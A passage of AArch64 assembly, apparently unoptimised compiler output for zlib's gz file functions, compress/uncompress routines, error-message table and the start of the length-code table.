add x1, x0, :lo12:.LC8
ldr x0, [sp, 48]
bl sprintf
ldr x2, [sp, 16]
ldr w1, [sp, 28]
ldr x0, [sp, 48]
bl gz_open
str x0, [sp, 56]
ldr x0, [sp, 48]
bl free
ldr x0, [sp, 56]
str x0, [sp, 40]
.L356:
ldr x0, [sp, 40]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE27:
.size gzdopen, .-gzdopen
.align 2
.global gzbuffer
.type gzbuffer, %function
gzbuffer:
.LFB28:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
str w1, [sp, 4]
ldr x0, [sp, 8]
cmp x0, 0
bne .L360
mov w0, -1
str w0, [sp, 20]
b .L361
.L360:
ldr x0, [sp, 8]
str x0, [sp, 24]
ldr x0, [sp, 24]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
beq .L362
ldr x0, [sp, 24]
ldr w1, [x0, 24]
mov w0, 31153
cmp w1, w0
beq .L362
mov w0, -1
str w0, [sp, 20]
b .L361
.L362:
ldr x0, [sp, 24]
ldr w0, [x0, 40]
cmp w0, 0
beq .L363
mov w0, -1
str w0, [sp, 20]
b .L361
.L363:
ldr w0, [sp, 4]
cmp w0, 1
bhi .L364
mov w0, 2
str w0, [sp, 4]
.L364:
ldr x0, [sp, 24]
ldr w1, [sp, 4]
str w1, [x0, 44]
str wzr, [sp, 20]
.L361:
ldr w0, [sp, 20]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE28:
.size gzbuffer, .-gzbuffer
.align 2
.global gzrewind
.type gzrewind, %function
gzrewind:
.LFB29:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
bne .L367
mov w0, -1
str w0, [sp, 32]
b .L368
.L367:
ldr x0, [sp, 24]
str x0, [sp, 40]
ldr x0, [sp, 40]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
beq .L369
mov w0, -1
str w0, [sp, 32]
b .L368
.L369:
ldr x0, [sp, 40]
ldr w0, [x0, 100]
cmp w0, 0
beq .L370
ldr x0, [sp, 40]
ldr w0, [x0, 100]
cmn w0, #5
beq .L370
mov w0, -1
str w0, [sp, 32]
b .L368
.L370:
ldr x0, [sp, 40]
ldr w3, [x0, 28]
ldr x0, [sp, 40]
ldr w0, [x0, 72]
mov w2, 0
mov w1, w0
mov w0, w3
bl lseek
str w0, [sp, 36]
ldr w0, [sp, 36]
cmn w0, #1
bne .L371
mov w0, -1
str w0, [sp, 32]
b .L368
.L371:
ldr x0, [sp, 40]
bl gz_reset
str wzr, [sp, 32]
.L368:
ldr w0, [sp, 32]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE29:
.size gzrewind, .-gzrewind
.align 2
.global gzseek64
.type gzseek64, %function
gzseek64:
.LFB30:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str w2, [sp, 16]
ldr x0, [sp, 24]
cmp x0, 0
bne .L374
mov w0, -1
str w0, [sp, 44]
b .L375
.L374:
ldr x0, [sp, 24]
str x0, [sp, 56]
ldr x0, [sp, 56]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
beq .L376
ldr x0, [sp, 56]
ldr w1, [x0, 24]
mov w0, 31153
cmp w1, w0
beq .L376
mov w0, -1
str w0, [sp, 44]
b .L375
.L376:
ldr x0, [sp, 56]
ldr w0, [x0, 100]
cmp w0, 0
beq .L377
ldr x0, [sp, 56]
ldr w0, [x0, 100]
cmn w0, #5
beq .L377
mov w0, -1
str w0, [sp, 44]
b .L375
.L377:
ldr w0, [sp, 16]
cmp w0, 0
beq .L378
ldr w0, [sp, 16]
cmp w0, 1
beq .L378
mov w0, -1
str w0, [sp, 44]
b .L375
.L378:
ldr w0, [sp, 16]
cmp w0, 0
bne .L379
ldr x0, [sp, 56]
ldr w0, [x0, 16]
ldr w1, [sp, 20]
sub w0, w1, w0
str w0, [sp, 20]
b .L380
.L379:
ldr x0, [sp, 56]
ldr w0, [x0, 96]
cmp w0, 0
beq .L380
ldr x0, [sp, 56]
ldr w0, [x0, 92]
ldr w1, [sp, 20]
add w0, w1, w0
str w0, [sp, 20]
.L380:
ldr x0, [sp, 56]
str wzr, [x0, 96]
ldr x0, [sp, 56]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
bne .L381
ldr x0, [sp, 56]
ldr w0, [x0, 68]
cmp w0, 1
bne .L381
ldr x0, [sp, 56]
ldr w3, [x0, 28]
ldr x0, [sp, 56]
ldr w0, [x0]
ldr w1, [sp, 20]
sub w0, w1, w0
mov w2, 1
mov w1, w0
mov w0, w3
bl lseek
str w0, [sp, 52]
ldr w0, [sp, 52]
cmn w0, #1
bne .L382
mov w0, -1
str w0, [sp, 44]
b .L375
.L382:
ldr x0, [sp, 56]
str wzr, [x0]
ldr x0, [sp, 56]
str wzr, [x0, 76]
ldr x0, [sp, 56]
str wzr, [x0, 80]
ldr x0, [sp, 56]
str wzr, [x0, 96]
mov x2, 0
mov w1, 0
ldr x0, [sp, 56]
bl gz_error
ldr x0, [sp, 56]
str wzr, [x0, 120]
ldr x0, [sp, 56]
ldr w1, [x0, 16]
ldr w0, [sp, 20]
add w1, w1, w0
ldr x0, [sp, 56]
str w1, [x0, 16]
ldr x0, [sp, 56]
ldr w0, [x0, 16]
str w0, [sp, 44]
b .L375
.L381:
ldr x0, [sp, 56]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
bne .L383
ldr x0, [sp, 56]
ldr w0, [x0]
cmp w0, 0
bge .L390
ldr w0, [sp, 20]
str w0, [sp, 48]
b .L385
.L390:
nop
.L386:
ldr x0, [sp, 56]
ldr w0, [x0]
ldr w1, [sp, 20]
cmp w1, w0
bcs .L387
ldr w0, [sp, 20]
str w0, [sp, 48]
b .L385
.L387:
ldr x0, [sp, 56]
ldr w0, [x0]
str w0, [sp, 48]
.L385:
ldr x0, [sp, 56]
ldr w1, [x0]
ldr w0, [sp, 48]
sub w1, w1, w0
ldr x0, [sp, 56]
str w1, [x0]
ldr x0, [sp, 56]
ldr x1, [x0, 8]
ldr w0, [sp, 48]
add x1, x1, x0
ldr x0, [sp, 56]
str x1, [x0, 8]
ldr x0, [sp, 56]
ldr w1, [x0, 16]
ldr w0, [sp, 48]
add w1, w1, w0
ldr x0, [sp, 56]
str w1, [x0, 16]
ldr w1, [sp, 20]
ldr w0, [sp, 48]
sub w0, w1, w0
str w0, [sp, 20]
.L383:
ldr w0, [sp, 20]
cmp w0, 0
beq .L388
ldr x0, [sp, 56]
mov w1, 1
str w1, [x0, 96]
ldr x0, [sp, 56]
ldr w1, [sp, 20]
str w1, [x0, 92]
.L388:
ldr x0, [sp, 56]
ldr w0, [x0, 16]
ldr w1, [sp, 20]
add w0, w1, w0
str w0, [sp, 44]
.L375:
ldr w0, [sp, 44]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE30:
.size gzseek64, .-gzseek64
.align 2
.global gzseek
.type gzseek, %function
gzseek:
.LFB31:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str w2, [sp, 16]
ldr w2, [sp, 16]
ldr w1, [sp, 20]
ldr x0, [sp, 24]
bl gzseek64
str w0, [sp, 40]
ldr w0, [sp, 40]
str w0, [sp, 44]
ldr w0, [sp, 44]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE31:
.size gzseek, .-gzseek
.align 2
.global gztell64
.type gztell64, %function
gztell64:
.LFB32:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
ldr x0, [sp, 8]
cmp x0, 0
bne .L394
mov w0, -1
str w0, [sp, 16]
b .L395
.L394:
ldr x0, [sp, 8]
str x0, [sp, 24]
ldr x0, [sp, 24]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
beq .L396
ldr x0, [sp, 24]
ldr w1, [x0, 24]
mov w0, 31153
cmp w1, w0
beq .L396
mov w0, -1
str w0, [sp, 16]
b .L395
.L396:
ldr x0, [sp, 24]
ldr w0, [x0, 96]
cmp w0, 0
beq .L397
ldr x0, [sp, 24]
ldr w0, [x0, 92]
str w0, [sp, 20]
b .L398
.L397:
str wzr, [sp, 20]
.L398:
ldr x0, [sp, 24]
ldr w0, [x0, 16]
ldr w1, [sp, 20]
add w0, w1, w0
str w0, [sp, 16]
.L395:
ldr w0, [sp, 16]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE32:
.size gztell64, .-gztell64
.align 2
.global gztell
.type gztell, %function
gztell:
.LFB33:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
bl gztell64
str w0, [sp, 40]
ldr w0, [sp, 40]
str w0, [sp, 44]
ldr w0, [sp, 44]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE33:
.size gztell, .-gztell
.align 2
.global gzoffset64
.type gzoffset64, %function
gzoffset64:
.LFB34:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
bne .L403
mov w0, -1
str w0, [sp, 32]
b .L404
.L403:
ldr x0, [sp, 24]
str x0, [sp, 40]
ldr x0, [sp, 40]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
beq .L405
ldr x0, [sp, 40]
ldr w1, [x0, 24]
mov w0, 31153
cmp w1, w0
beq .L405
mov w0, -1
str w0, [sp, 32]
b .L404
.L405:
ldr x0, [sp, 40]
ldr w0, [x0, 28]
mov w2, 1
mov w1, 0
bl lseek
str w0, [sp, 36]
ldr w0, [sp, 36]
cmn w0, #1
bne .L406
mov w0, -1
str w0, [sp, 32]
b .L404
.L406:
ldr x0, [sp, 40]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
bne .L407
ldr x0, [sp, 40]
ldr w0, [x0, 120]
ldr w1, [sp, 36]
sub w0, w1, w0
str w0, [sp, 36]
.L407:
ldr w0, [sp, 36]
str w0, [sp, 32]
.L404:
ldr w0, [sp, 32]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE34:
.size gzoffset64, .-gzoffset64
.align 2
.global gzoffset
.type gzoffset, %function
gzoffset:
.LFB35:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
bl gzoffset64
str w0, [sp, 40]
ldr w0, [sp, 40]
str w0, [sp, 44]
ldr w0, [sp, 44]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE35:
.size gzoffset, .-gzoffset
.align 2
.global gzeof
.type gzeof, %function
gzeof:
.LFB36:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
ldr x0, [sp, 8]
cmp x0, 0
bne .L412
str wzr, [sp, 16]
b .L413
.L412:
ldr x0, [sp, 8]
str x0, [sp, 24]
ldr x0, [sp, 24]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
beq .L414
ldr x0, [sp, 24]
ldr w1, [x0, 24]
mov w0, 31153
cmp w1, w0
beq .L414
str wzr, [sp, 16]
b .L413
.L414:
ldr x0, [sp, 24]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
bne .L415
ldr x0, [sp, 24]
ldr w0, [x0, 80]
str w0, [sp, 20]
b .L416
.L415:
str wzr, [sp, 20]
.L416:
ldr w0, [sp, 20]
str w0, [sp, 16]
.L413:
ldr w0, [sp, 16]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE36:
.size gzeof, .-gzeof
.section .rodata
.align 3
.LC9:
.string ""
.text
.align 2
.global gzerror
.type gzerror, %function
gzerror:
.LFB37:
.cfi_startproc
sub sp, sp, #48
.cfi_def_cfa_offset 48
str x0, [sp, 8]
str x1, [sp]
ldr x0, [sp, 8]
cmp x0, 0
bne .L419
str xzr, [sp, 24]
b .L420
.L419:
ldr x0, [sp, 8]
str x0, [sp, 40]
ldr x0, [sp, 40]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
beq .L421
ldr x0, [sp, 40]
ldr w1, [x0, 24]
mov w0, 31153
cmp w1, w0
beq .L421
str xzr, [sp, 24]
b .L420
.L421:
ldr x0, [sp]
cmp x0, 0
beq .L422
ldr x0, [sp, 40]
ldr w1, [x0, 100]
ldr x0, [sp]
str w1, [x0]
.L422:
ldr x0, [sp, 40]
ldr x0, [x0, 104]
cmp x0, 0
bne .L423
adrp x0, .LC9
add x0, x0, :lo12:.LC9
str x0, [sp, 32]
b .L424
.L423:
ldr x0, [sp, 40]
ldr x0, [x0, 104]
str x0, [sp, 32]
.L424:
ldr x0, [sp, 32]
str x0, [sp, 24]
.L420:
ldr x0, [sp, 24]
add sp, sp, 48
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE37:
.size gzerror, .-gzerror
.align 2
.global gzclearerr
.type gzclearerr, %function
gzclearerr:
.LFB38:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
beq .L432
ldr x0, [sp, 24]
str x0, [sp, 40]
ldr x0, [sp, 40]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
beq .L429
ldr x0, [sp, 40]
ldr w1, [x0, 24]
mov w0, 31153
cmp w1, w0
bne .L433
.L429:
ldr x0, [sp, 40]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
bne .L430
ldr x0, [sp, 40]
str wzr, [x0, 76]
ldr x0, [sp, 40]
str wzr, [x0, 80]
.L430:
mov x2, 0
mov w1, 0
ldr x0, [sp, 40]
bl gz_error
b .L428
.L432:
nop
b .L428
.L433:
nop
.L428:
nop
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE38:
.size gzclearerr, .-gzclearerr
.section .rodata
.align 3
.LC10:
.string ": "
.text
.align 2
.global gz_error
.hidden gz_error
.type gz_error, %function
gz_error:
.LFB39:
.cfi_startproc
stp x29, x30, [sp, -80]!
.cfi_def_cfa_offset 80
.cfi_offset 29, -80
.cfi_offset 30, -72
mov x29, sp
str x19, [sp, 16]
.cfi_offset 19, -64
str x0, [sp, 56]
str w1, [sp, 52]
str x2, [sp, 40]
ldr x0, [sp, 56]
ldr x0, [x0, 104]
cmp x0, 0
beq .L435
ldr x0, [sp, 56]
ldr w0, [x0, 100]
cmn w0, #4
beq .L436
ldr x0, [sp, 56]
ldr x0, [x0, 104]
bl free
.L436:
ldr x0, [sp, 56]
str xzr, [x0, 104]
.L435:
ldr w0, [sp, 52]
cmp w0, 0
beq .L437
ldr w0, [sp, 52]
cmn w0, #5
beq .L437
ldr x0, [sp, 56]
str wzr, [x0]
.L437:
ldr x0, [sp, 56]
ldr w1, [sp, 52]
str w1, [x0, 100]
ldr x0, [sp, 40]
cmp x0, 0
beq .L443
ldr w0, [sp, 52]
cmn w0, #4
bne .L440
ldr x0, [sp, 56]
ldr x1, [sp, 40]
str x1, [x0, 104]
b .L439
.L440:
ldr x0, [sp, 56]
ldr x0, [x0, 32]
bl strlen
str w0, [sp, 64]
ldr x0, [sp, 40]
bl strlen
str w0, [sp, 68]
ldr w1, [sp, 64]
ldr w0, [sp, 68]
add w0, w1, w0
add w0, w0, 3
bl malloc
str x0, [sp, 72]
ldr x0, [sp, 56]
ldr x1, [sp, 72]
str x1, [x0, 104]
ldr x0, [sp, 72]
cmp x0, 0
bne .L441
ldr x0, [sp, 56]
mov w1, -4
str w1, [x0, 100]
ldr x0, [sp, 56]
adrp x1, .LC0
add x1, x1, :lo12:.LC0
str x1, [x0, 104]
b .L439
.L441:
ldr x0, [sp, 56]
ldr x2, [x0, 104]
ldr x0, [sp, 56]
ldr x0, [x0, 32]
mov x1, x0
mov x0, x2
bl strcpy
ldr x0, [sp, 56]
ldr x19, [x0, 104]
mov x0, x19
bl strlen
add x2, x19, x0
adrp x0, .LC10
add x1, x0, :lo12:.LC10
mov x0, x2
ldrh w2, [x1]
strh w2, [x0]
ldrb w1, [x1, 2]
strb w1, [x0, 2]
ldr x0, [sp, 56]
ldr x0, [x0, 104]
ldr x1, [sp, 40]
bl strcat
b .L439
.L443:
nop
.L439:
nop
ldr x19, [sp, 16]
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE39:
.size gz_error, .-gz_error
.align 2
.global gzclose
.type gzclose, %function
gzclose:
.LFB40:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
ldr x0, [sp, 24]
cmp x0, 0
bne .L445
mov w0, -2
str w0, [sp, 32]
b .L446
.L445:
ldr x0, [sp, 24]
str x0, [sp, 40]
ldr x0, [sp, 40]
ldr w1, [x0, 24]
mov w0, 7247
cmp w1, w0
bne .L447
ldr x0, [sp, 24]
bl gzclose_r
str w0, [sp, 36]
b .L448
.L447:
ldr x0, [sp, 24]
bl gzclose_w
str w0, [sp, 36]
.L448:
ldr w0, [sp, 36]
str w0, [sp, 32]
.L446:
ldr w0, [sp, 32]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE40:
.size gzclose, .-gzclose
.align 2
.global uncompress
.type uncompress, %function
uncompress:
.LFB41:
.cfi_startproc
stp x29, x30, [sp, -176]!
.cfi_def_cfa_offset 176
.cfi_offset 29, -176
.cfi_offset 30, -168
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
str x3, [sp, 16]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 168]
mov x1, 0
ldr x0, [sp, 24]
str x0, [sp, 56]
ldr x0, [sp, 16]
str w0, [sp, 64]
ldr w0, [sp, 64]
uxtw x0, w0
ldr x1, [sp, 16]
cmp x1, x0
beq .L451
mov w0, -5
str w0, [sp, 48]
b .L452
.L451:
ldr x0, [sp, 40]
str x0, [sp, 80]
ldr x0, [sp, 32]
ldr x0, [x0]
str w0, [sp, 88]
ldr w0, [sp, 88]
uxtw x1, w0
ldr x0, [sp, 32]
ldr x0, [x0]
cmp x1, x0
beq .L453
mov w0, -5
str w0, [sp, 48]
b .L452
.L453:
str xzr, [sp, 120]
str xzr, [sp, 128]
add x3, sp, 56
mov w2, 112
adrp x0, .LC1
add x1, x0, :lo12:.LC1
mov x0, x3
bl inflateInit_
str w0, [sp, 52]
ldr w0, [sp, 52]
cmp w0, 0
beq .L454
ldr w0, [sp, 52]
str w0, [sp, 48]
b .L452
.L454:
add x0, sp, 56
mov w1, 4
bl inflate
str w0, [sp, 52]
ldr w0, [sp, 52]
cmp w0, 1
beq .L455
add x0, sp, 56
bl inflateEnd
ldr w0, [sp, 52]
cmp w0, 2
bne .L456
mov w0, -3
str w0, [sp, 48]
b .L452
.L456:
ldr w0, [sp, 52]
cmn w0, #5
bne .L457
ldr w0, [sp, 64]
cmp w0, 0
bne .L457
mov w0, -3
str w0, [sp, 48]
b .L452
.L457:
ldr w0, [sp, 52]
str w0, [sp, 48]
b .L452
.L455:
ldr x1, [sp, 96]
ldr x0, [sp, 32]
str x1, [x0]
add x0, sp, 56
bl inflateEnd
str w0, [sp, 52]
ldr w0, [sp, 52]
str w0, [sp, 48]
.L452:
ldr w0, [sp, 48]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 168]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L459
bl __stack_chk_fail
.L459:
mov w0, w1
ldp x29, x30, [sp], 176
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE41:
.size uncompress, .-uncompress
.align 2
.global compress2
.type compress2, %function
compress2:
.LFB42:
.cfi_startproc
stp x29, x30, [sp, -208]!
.cfi_def_cfa_offset 208
.cfi_offset 29, -208
.cfi_offset 30, -200
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str x2, [sp, 40]
str x3, [sp, 32]
str w4, [sp, 28]
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x1, [x0]
str x1, [sp, 200]
mov x1, 0
ldr x0, [sp, 40]
str x0, [sp, 88]
ldr x0, [sp, 32]
str w0, [sp, 96]
ldr x0, [sp, 56]
str x0, [sp, 112]
ldr x0, [sp, 48]
ldr x0, [x0]
str w0, [sp, 120]
ldr w0, [sp, 120]
uxtw x1, w0
ldr x0, [sp, 48]
ldr x0, [x0]
cmp x1, x0
beq .L461
mov w0, -5
str w0, [sp, 76]
b .L462
.L461:
str xzr, [sp, 152]
str xzr, [sp, 160]
str xzr, [sp, 168]
add x4, sp, 88
mov w3, 112
adrp x0, .LC1
add x2, x0, :lo12:.LC1
ldr w1, [sp, 28]
mov x0, x4
bl deflateInit_
str w0, [sp, 84]
ldr w0, [sp, 84]
cmp w0, 0
beq .L463
ldr w0, [sp, 84]
str w0, [sp, 76]
b .L462
.L463:
add x0, sp, 88
mov w1, 4
bl deflate
str w0, [sp, 84]
ldr w0, [sp, 84]
cmp w0, 1
beq .L464
add x0, sp, 88
bl deflateEnd
ldr w0, [sp, 84]
cmp w0, 0
bne .L465
mov w0, -5
str w0, [sp, 80]
b .L466
.L465:
ldr w0, [sp, 84]
str w0, [sp, 80]
.L466:
ldr w0, [sp, 80]
str w0, [sp, 76]
b .L462
.L464:
ldr x1, [sp, 128]
ldr x0, [sp, 48]
str x1, [x0]
add x0, sp, 88
bl deflateEnd
str w0, [sp, 84]
ldr w0, [sp, 84]
str w0, [sp, 76]
.L462:
ldr w0, [sp, 76]
mov w1, w0
adrp x0, :got:__stack_chk_guard
ldr x0, [x0, #:got_lo12:__stack_chk_guard]
ldr x3, [sp, 200]
ldr x2, [x0]
subs x3, x3, x2
mov x2, 0
beq .L468
bl __stack_chk_fail
.L468:
mov w0, w1
ldp x29, x30, [sp], 208
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE42:
.size compress2, .-compress2
.align 2
.global compress
.type compress, %function
compress:
.LFB43:
.cfi_startproc
stp x29, x30, [sp, -64]!
.cfi_def_cfa_offset 64
.cfi_offset 29, -64
.cfi_offset 30, -56
mov x29, sp
str x0, [sp, 40]
str x1, [sp, 32]
str x2, [sp, 24]
str x3, [sp, 16]
mov w4, -1
ldr x3, [sp, 16]
ldr x2, [sp, 24]
ldr x1, [sp, 32]
ldr x0, [sp, 40]
bl compress2
str w0, [sp, 60]
ldr w0, [sp, 60]
ldp x29, x30, [sp], 64
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE43:
.size compress, .-compress
.align 2
.global compressBound
.type compressBound, %function
compressBound:
.LFB44:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str x0, [sp, 8]
ldr x0, [sp, 8]
lsr x1, x0, 12
ldr x0, [sp, 8]
add x1, x1, x0
ldr x0, [sp, 8]
lsr x0, x0, 14
add x1, x1, x0
ldr x0, [sp, 8]
lsr x0, x0, 25
add x0, x1, x0
add x0, x0, 13
str x0, [sp, 24]
ldr x0, [sp, 24]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE44:
.size compressBound, .-compressBound
.global z_errmsg
.section .rodata
.align 3
.LC11:
.string "need dictionary"
.align 3
.LC12:
.string "stream end"
.align 3
.LC13:
.string "file error"
.align 3
.LC14:
.string "stream error"
.align 3
.LC15:
.string "data error"
.align 3
.LC16:
.string "insufficient memory"
.align 3
.LC17:
.string "buffer error"
.align 3
.LC18:
.string "incompatible version"
.section .data.rel.ro.local,"aw"
.align 3
.type z_errmsg, %object
.size z_errmsg, 80
z_errmsg:
.xword .LC11
.xword .LC12
.xword .LC9
.xword .LC13
.xword .LC14
.xword .LC15
.xword .LC16
.xword .LC17
.xword .LC18
.xword .LC9
.text
.align 2
.global zlibVersion
.type zlibVersion, %function
zlibVersion:
.LFB45:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
adrp x0, .LC1
add x0, x0, :lo12:.LC1
str x0, [sp, 8]
ldr x0, [sp, 8]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE45:
.size zlibVersion, .-zlibVersion
.align 2
.global zlibCompileFlags
.type zlibCompileFlags, %function
zlibCompileFlags:
.LFB46:
.cfi_startproc
sub sp, sp, #16
.cfi_def_cfa_offset 16
str xzr, [sp, 8]
ldr x0, [sp, 8]
add x0, x0, 1
str x0, [sp, 8]
nop
ldr x0, [sp, 8]
add x0, x0, 8
str x0, [sp, 8]
nop
ldr x0, [sp, 8]
add x0, x0, 32
str x0, [sp, 8]
nop
ldr x0, [sp, 8]
add x0, x0, 64
str x0, [sp, 8]
nop
ldr x0, [sp, 8]
add sp, sp, 16
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE46:
.size zlibCompileFlags, .-zlibCompileFlags
.align 2
.global zError
.type zError, %function
zError:
.LFB47:
.cfi_startproc
sub sp, sp, #32
.cfi_def_cfa_offset 32
str w0, [sp, 12]
mov w1, 2
ldr w0, [sp, 12]
sub w1, w1, w0
adrp x0, z_errmsg
add x0, x0, :lo12:z_errmsg
sxtw x1, w1
ldr x0, [x0, x1, lsl 3]
str x0, [sp, 24]
ldr x0, [sp, 24]
add sp, sp, 32
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE47:
.size zError, .-zError
.align 2
.global zcalloc
.hidden zcalloc
.type zcalloc, %function
zcalloc:
.LFB48:
.cfi_startproc
stp x29, x30, [sp, -48]!
.cfi_def_cfa_offset 48
.cfi_offset 29, -48
.cfi_offset 30, -40
mov x29, sp
str x0, [sp, 24]
str w1, [sp, 20]
str w2, [sp, 16]
ldr x0, [sp, 24]
cmp x0, 0
ldr w1, [sp, 20]
ldr w0, [sp, 16]
mul w0, w1, w0
bl malloc
str x0, [sp, 32]
ldr x0, [sp, 32]
str x0, [sp, 40]
ldr x0, [sp, 40]
ldp x29, x30, [sp], 48
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE48:
.size zcalloc, .-zcalloc
.align 2
.global zcfree
.hidden zcfree
.type zcfree, %function
zcfree:
.LFB49:
.cfi_startproc
stp x29, x30, [sp, -32]!
.cfi_def_cfa_offset 32
.cfi_offset 29, -32
.cfi_offset 30, -24
mov x29, sp
str x0, [sp, 24]
str x1, [sp, 16]
ldr x0, [sp, 16]
bl free
ldr x0, [sp, 24]
cmp x0, 0
nop
nop
ldp x29, x30, [sp], 32
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.L483:
.cfi_endproc
.LFE49:
.size zcfree, .-zcfree
.hidden _length_code
.global _length_code
.section .rodata
.align 3
.type _length_code, %object
.size _length_code, 256
_length_code:
.string ""
.ascii "\001\002\003\004\005\006\007\b\b\t\t\n\n\013\013\f\f\f\f\r\r"
.ascii "\r\r\016\016\016\016\017\017\017\017\020\020\020\020\020\020"
.ascii "\020\020\021\021\021\021\021\021\021\021\022\022\022\022\022"
.ascii "\022\022\022\023\023\023\023\023\023\023\023\024\024\024\024"
.ascii "\024\024\024\024\024\024\024\024\024\024\024\024\025\025\025"
.ascii "\025\025\025\025\025\025\025\025\025\025\025\025\025\026\026"
.ascii "\026\026\026\026\026\026\026\026\026\026\026\026\026\026\027"
.ascii "\027\027\027\027\027\027\027\027\027\027\027\027\027\027\027"
.ascii "\030\030\030\030\030\030\030\030\030\030\030\030\030\030\030"
.ascii "\030\030\030\030\030\030\030\030\030\030\030\030\030\030\030"
.ascii "\030\030\031\031\031\031\031\031\031\031\031\031\031\031\031"
.ascii "\031\031\031\031\031\031\031\031\031\031\031\031\031\031\031"
.ascii "\031\031\031\031\032\032\032\032\032\032\032\032\032\032\032"
.ascii "\032\032\032\032\032\032\032\032\032\032\032\032\032\032\032"
.ascii "\032\032\032\032\032\032\033\033\033\033\033\033\033\033\033"
.ascii "\033\033\033\033\033\033\033\033\033\033\033\033\033\033\033"
.ascii "\033\033\033\033\033\033\033\034"
.hidden _dist_code
.global _dist_code
.align 3
